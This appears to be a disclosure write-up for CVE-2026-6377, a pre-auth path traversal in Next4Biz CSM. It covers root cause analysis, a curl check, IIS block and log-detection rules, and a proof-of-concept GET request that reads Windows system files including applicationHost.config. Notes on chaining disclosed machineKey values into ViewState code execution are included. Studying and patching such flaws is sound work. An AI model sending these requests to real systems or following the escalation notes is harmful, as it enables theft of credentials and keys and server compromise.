#Summary

CVE-2026-6377 is an unauthenticated path traversal in Next4Biz CSM, the customer service management product built by Next4Biz Bilgi Teknolojileri A.S. A single GET request to /Handlers/DownloadFileHandler.ashx carrying an absolute Windows path in the file parameter returns the contents of that file. No session, no cookie, no user interaction. The issue is classified CWE-22 and scores CVSS 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

Two independent defects line up to produce it. The file branch of the handler runs before any authorisation check, and the path helper it calls never confirms that the path it built is still inside the upload directory. Four separate steps in that helper look like sanitisation and none of them constrain the input that matters.

#Am I affected?

#How to check

Ask the application for a file that exists on every Windows host and lives nowhere near the upload directory:

curl -si 'https://target.example/Handlers/DownloadFileHandler.ashx?file=C:\Windows\win.ini'
Result Verdict
200 OK and the body contains [fonts] or [extensions] vulnerable
302 to the login page, 401, 403, or an empty body not reachable through this path

Run it with no cookies at all. Testing from a browser tab where you are already logged in hides the entire point of this bug: the response is identical without a session, and that is what turns a file download feature into a pre-auth arbitrary read.

#Fix and mitigation

<rule name="block-cve-2026-6377" stopProcessing="true">
  <match url="(?i)Handlers/DownloadFileHandler\.ashx" />
  <conditions>
    <add input="{QUERY_STRING}" pattern="(?i)file=[^&amp;]*(%3A|:|\.\.|%2e%2e|\\|%5c)" />
  </conditions>
  <action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule>

Blocking the file parameter outright is safer still if your users only download through the qFile path. Verify that before you ship it.

Select-String -Path C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log -Pattern 'DownloadFileHandler\.ashx' |
  Where-Object { $_.Line -match 'file=[^&\s]*(%3A|:|%2e%2e|\.\.)' }

A legitimate download never needs a colon or a .. in that parameter, so hits here are worth treating as confirmed attempts rather than noise. Match on the encoded forms as well as the literal ones.

#Root cause analysis

Two files carry the whole issue:

File Class Method
DownloadFileHandler.ashx DownloadFileHandler ProcessRequest()
Formalis.WebBase.dll ServerRocks GetUploadedPath(server, path)

#The file branch never asks who is calling

DownloadFileHandler.ProcessRequest() dispatches on which query parameter it was given. The qFile branch is guarded, and the guard is not trivial. Decompiled, it checks three things:

else if (
    !(context.Request.UrlReferrer != null)
    || !UrlReferrer.AbsolutePath.Contains("IssueDetail.aspx")
    || this.CurrentUser.CheckApplicationFunction(EnumFunction.FileDownload)
    || !(this.CurrentUser.UserID.ToString() != this.CreatedUserID)
)

A referrer that has to come from the issue detail page, a per-user application function for file download, and an ownership comparison between the caller and the record that created the file. Someone thought about authorisation here.

The file branch has none of it:

public void ProcessRequest(HttpContext context)
{
    else if (...)
    {
        if (QueryString["file"] != null)
        {
            string path = QueryString["file"];
            string uploadedPath = server.GetUploadedPath(path);
            response.WriteFile(uploadedPath);
        }
    }
}

No CurrentUser, no Session["User"], no permission lookup. Query string to helper to WriteFile, in three statements. Whatever path comes back is streamed to whoever asked.

That asymmetry is the interesting part of this bug. The protection was written, tested and shipped. It just guards one of the two doors into the same file read.

#GetUploadedPath() never constrains the result

ServerRocks.GetUploadedPath(HttpServerUtility, string) in Formalis.WebBase.dll is the helper the branch calls. It runs four steps, and each one looks like a control until you supply an absolute path.

Step 1, resolve the root.

string rootPath = server.GetUploadedPath();
// rootPath = "C:\inetpub\wwwroot\Uploaded"

Step 2, strip the root if the caller already included it.

if (path.IndexOf(rootPath, StringComparison.OrdinalIgnoreCase) != -1)
    path = path.Replace(rootPath, "");

This only fires when the input contains the root as a substring. An absolute path pointing at C:\Windows does not, so the step is a no-op for exactly the input that matters.

Step 3, trim leading separators.

path = path.TrimStart(new char[] { '/', '\\' });

Only / and \ are in the set. A drive letter is untouched, because C is not a separator. A leading . is untouched for the same reason. This is the step that would have stopped the attack if it had normalised instead of trimmed.

Step 4, combine and return.

string ret = Path.Combine(rootPath, path);
return ret;

No Path.GetFullPath(), so .. segments are never resolved. No comparison against rootPath, so nothing checks the answer. The function returns a path it has never validated, to a caller that has never authenticated anyone.

#Path.Combine discards the root when the second argument is rooted

The fourth step is where the input finally wins, and it wins on documented .NET behaviour rather than on a parsing trick:

Path.Combine(@"C:\inetpub\wwwroot\Uploaded", @"C:\Windows\System32\drivers\etc\hosts")
// => "C:\Windows\System32\drivers\etc\hosts"

When the second argument is an absolute path, Path.Combine returns it unchanged and drops the first argument entirely. The upload root is not a prefix, not a boundary and not a fallback. It is a default that any rooted input replaces.

Follow one request through all four steps:

user input      : "C:\Windows\System32\drivers\etc\hosts"
after step 2    : unchanged (input does not contain rootPath)
after step 3    : unchanged (C is not / or \)
after step 4    : "C:\Windows\System32\drivers\etc\hosts"   (rootPath discarded)
WriteFile       : contents streamed to the client

The absolute path is the vector demonstrated below, and it is the cleanest one. It is worth noting that the missing GetFullPath call leaves relative traversal equally unconstrained by this code: nothing in the helper resolves or rejects a .. segment, so ..\..\..\Windows\win.ini survives step 3 with its dots intact and reaches Path.Combine as a relative path.

#Why four controls failed together

Read as a list, the root causes are all the same mistake at different altitudes:

# Cause Location
1 The file branch performs no authorisation check ProcessRequest()
2 TrimStart handles separators only, not drive letters or dot segments GetUploadedPath()
3 Path.Combine drops the root when the second argument is rooted GetUploadedPath()
4 Path.GetFullPath() is never called on the combined path GetUploadedPath()
5 The result is never compared against the upload root GetUploadedPath()

Steps 2 and 3 of the helper are string operations standing in for a containment check. String operations cannot do that job: the only reliable test is to resolve the final path and compare it to the root you intended, which is exactly the step that is missing.

#Proof of concept

One request, no headers beyond Host, no cookies:

GET /Handlers/DownloadFileHandler.ashx?file=C:\Windows\System32\drivers\etc\hosts HTTP/1.1
Host: target.example
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=hosts
Content-Length: 935

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
[...]

The same request shape reads anything else the worker process can open. Three files were confirmed during the assessment:

Target Why it matters
C:\Windows\win.ini harmless existence check, the safest way to confirm the bug
C:\Windows\System32\drivers\etc\hosts confirms the read reaches outside the web root
C:\Windows\System32\inetsrv\config\applicationHost.config IIS configuration, including configured application pool identities

The third one is the one to think about during triage, and the reason is in the next section.

#Exploitation notes

#Preconditions

Network reachability to the application. That is the whole list. The vulnerable branch answers before authentication, so the exposure of an install is exactly its reachability: an internet-facing CSM portal is exploitable by anyone who can resolve its hostname, and an internal one by anyone on the network.

#Reliability

Deterministic. There is no race, no memory corruption, no timing window and no version-dependent offset. The same request returns the same file every time. The only variable is whether the IIS application pool identity has read permission on the requested path, which is a property of the target's file system rather than of the exploit.

#Impact

The read is bounded by the worker process identity, and on a default IIS deployment that boundary still contains everything worth taking:

The machineKey deserves its own sentence. With the validation and decryption keys in hand, an attacker can forge a __VIEWSTATE payload that the application will deserialise, and ASP.NET ViewState deserialisation is a well documented route from disclosed keys to code execution on the server. The CVSS vector keeps I:N/A:N because this vulnerability itself only reads, and that is the correct scoring. It is not a good triage decision. A pre-auth read of the application's own configuration is the first link in a chain, not the end of one, and it should be treated as urgent on that basis rather than on its base score.

S:C in the vector reflects the same idea from the other direction: the impact crosses out of the web application's own scope and into the operating system's.

#Chaining

Configuration disclosure to key material to ViewState deserialisation is the shortest path, and it needs no second vulnerability. Short of that, source disclosure of the application's own handlers turns every subsequent test against the product into white-box work, and the credentials that tend to sit in a CSM deployment's connection strings and integration settings frequently unlock systems that have nothing to do with the CSM.

#Timeline

Date Event
2026-02-27 Technical analysis completed and reported
2026-09-07 CVE-2026-6377 published, Siber Guvenlik Baskanligi advisory tr-26-1027
2026-09-07 This write-up published

Disclosure was coordinated through the Turkish national product security coordination process, and this write-up follows the publication of the advisory.

#References